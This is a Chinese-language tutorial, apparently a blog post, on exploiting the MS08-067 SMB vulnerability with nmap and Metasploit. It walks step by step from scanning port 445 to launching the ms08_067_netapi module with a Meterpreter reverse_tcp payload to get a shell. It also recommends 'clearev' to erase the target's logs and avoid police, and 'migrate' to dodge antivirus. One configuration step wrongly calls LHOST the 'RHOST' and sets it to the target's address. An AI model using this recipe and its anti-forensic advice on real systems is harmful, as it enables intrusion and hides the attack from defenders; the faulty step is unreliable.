MS08-067远程溢出漏洞(CVE-2008-4250)

漏洞原理简述

攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call 远程过程调用)请求,通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发,NetPathCanonicalize 函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。

漏洞威胁

能远程主动发起对漏洞主机端口的扫描,并且能直接获得漏洞主机的系统权限,属于最高严重级别的漏洞。
(一想到XP或者2003系统的445端口开放,我们就能想到轰动一时的ms08-067)

工具使用

**nmap**
常用参数:
-Pn  扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描。
-v   显示扫描过程,推荐使用。
-sV  探测端口服务版本。
-p   指定端口,如“1-65535、1433、135、22、80”等。
脚本使用:
nmap漏扫脚本目录:/usr/share/nmap/script/ 可查看其它脚本
nmap脚本名称导出:ls /usr/share/nmap/scripts/ | sed 's/.nse//' > scripts.list

详见玩转Metasploit系列

MS08-067远程溢出漏洞(CVE-2008-4250)_第1张图片
image.png

**Metasploit**
基础命令:
- Msfconsole –h是显示在msfconsole初始化的选项和参数。而help则是显示进入msfconsole后可以利用的选项。
- Back参数主要用于返回。
- Banner参数‍‍,查看metasploit的版本信息,利用模块数量、payload数量等等。
- Check参数‍‍主要是用于查看利用模块是否可用攻击目标主机。‍‍
- Info参数‍‍可以查看所在模块的信息,包括选项、利用条件、漏洞作者、可以利用的payload等等。
‍‍- Search参数,使用msfconsole的时候,会用到各种漏洞模块、各种插件等等。所以search命令就很重要。
- Set参数‍‍,主要是对payload或者其他模块进行设置。
- Unset参数‍‍,如果你使用set命令后,发现设置错误了,可以选择unset重新设置。
- Show参数‍‍,show exploits;show auxiliary;show payloads;show encoders;show nops等。
- Use参数‍‍是使用参数。如你要使用到某个利用模块,payload等,那么就要使用到use参数。

Meterpreter:
Meterpreter作为后渗透攻击模块的实施通道,可以根据渗透测试目标需求进行灵活扩展。Meterpreter是Metasploit渗透测试平台框架中功能最强大的攻击载荷模块。
这个payload的特点是不会写任何东西在目标的硬盘空间。它只读取内存数据,或者说Meterpreter就是个内存类型的shell code。
有些人认为,使用Meterpreter进行会话容易被监听到,实际‍‍‍‍上在这个payload中,目标机器和控制机器之间的会话是加密的,就算被抓包了也没关系。
Meterpreter常用命令:
- Help:‍‍‍‍‍‍这个参数可以查看‍‍‍‍‍‍meterpreter‍‍‍‍的全部参数和英文解释‍‍。
- sysinfo命令:可以查看目标系统的基本信息。
- route命令:用于显示目标主机的路由信息,通常用来探测目标机的网络情况,有助于网络拓扑的构建。
- upload和download命令:可以上传文件到目标机器上,或下载文件至本地。
- shell 命令:用于获取一个可以交互的shell,方便执行系统命令。
- Clearev:‍‍‍‍‍‍‍‍‍‍这个命令很重要!如果你不想被查水表,当你对目标系统测试后,一定要输入‍‍clearev命令。这个命令可以清除系统,软件之类的所有登陆信息。目前我还没发现能够恢复这些登陆信息方法,所以这个指令很有用。‍‍‍‍‍‍
- Lpwd:‍‍‍‍‍‍显示本地目录。也就是你自己所在的自己系统的位置。‍‍‍‍
- Migrate:‍‍‍‍这个是一个‍‍‍‍‍‍‍‍POST‍‍‍‍‍‍‍‍模块。可以将‍‍‍‍‍‍‍‍meterpreter‍‍‍‍‍‍当前的进程移动到一个新的进程。主要用来防软杀,或者进程不稳定的时候使用这个模块。使用‍‍‍‍‍‍“‍‍‍‍‍‍‍‍run post/windows/manage/migrate”‍‍‍‍‍‍‍‍‍‍这个命令即可。

实验步骤

漏洞探测:

使用Nmap对目标机开放端口进行扫描:nmap -sV -Pn 192.168.1.2
使用nmap的漏洞扫描脚本查看漏洞是否可用:nmap -sV -Pn -p 445 --script smb-vuln-ms08-067.nse 192.168.1.2

漏洞利用:

  • 打开 metasploite 命令行客户端:msfconsole
  • 查找ms08-067的漏洞利用模块:search ms08-067
  • 使用use命令选择我们要使用的利用模块:use exploit/windows/smb/ms08_067_netapi
  • 使用show options查看配置信息,设置目标地址:set RHOST 192.168.1.2
  • 选择payload作为攻击:set payload windows/meterpreter/reverse_tcp
  • 配置载荷:使用show options查看配置信息,设置配置中缺少的本地主机 RHOST,set LHOST 192.168.1.2
  • 选择系统类型:MS08-067 针对不同的系统可以选择不同的target,使用命令show targets可以看见支持的系统。set target 10,切记不要选择自动探测,自动探测不准!!
  • 完成配置后,运行exploit,开始执行漏洞利用模块
  • 后渗透攻击,拿到shell。

对实验的具体步骤并没有截图,主要是通过这个实验初步了解一下metasploite的使用。

你可能感兴趣的:(MS08-067远程溢出漏洞(CVE-2008-4250))